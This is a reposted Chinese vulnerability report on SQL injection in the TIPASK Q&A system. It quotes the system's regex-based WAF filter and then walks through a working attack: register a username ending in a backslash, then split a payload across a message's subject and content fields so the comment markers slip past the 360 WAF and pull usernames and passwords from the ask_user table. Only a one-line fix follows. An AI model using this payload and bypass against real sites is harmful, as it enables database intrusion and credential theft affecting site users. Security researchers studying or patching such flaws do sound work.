TIPASK问答系统多处绕过WAF的SQL注入

由于该系统允许注册含有反斜线("\")的用户名,可造成多处SQL注入漏洞,因为该系统存在360WAF防御,同时利用多个参数结合完美绕过WAF的防护

function checkattack($reqarr, $reqtype = 'post') { $filtertable = array( 'get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)', 'post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)', 'cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' ); foreach ($reqarr as $reqkey => $reqvalue) { if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1 && !in_array($reqkey, array('content'))) { print('Illegal operation!'); exit(-1); } } }

1.首先注册一个用户名为:wooyun\

2.登录wooyun\给另一个用户发送消息(test)

(发消息处有2个可控的地方,利用这两个参数结合利用,即可完美绕过360的WAF)

完整的注入语句为:

code 区域

,fromuid=3,touid=2,subject=user(),content=(select concat(username,password) from ask_user limit 0,1)#

利用多个参数结合绕过360WAF,可以这样

主题填入:,fromuid=3,touid=2,subject=user(),content=(select concat(username,password)/*

内容处填入:*/from ask_user limit 0,1)#,如图TIPASK问答系统多处绕过WAF的SQL注入

提交后,登录另一个账号即可查看到注入的结果:

TIPASK问答系统多处绕过WAF的SQL注入

解决方案:

过滤用户名的特殊符号

分类:默认分类 时间:2015-03-08 人气:10
本文关键词:
分享到:

相关文章

Copyright (C) quwantang.com, All Rights Reserved.

趣玩堂 版权所有 京ICP备15002868号

processed in 0.108 (s). 10 q(s)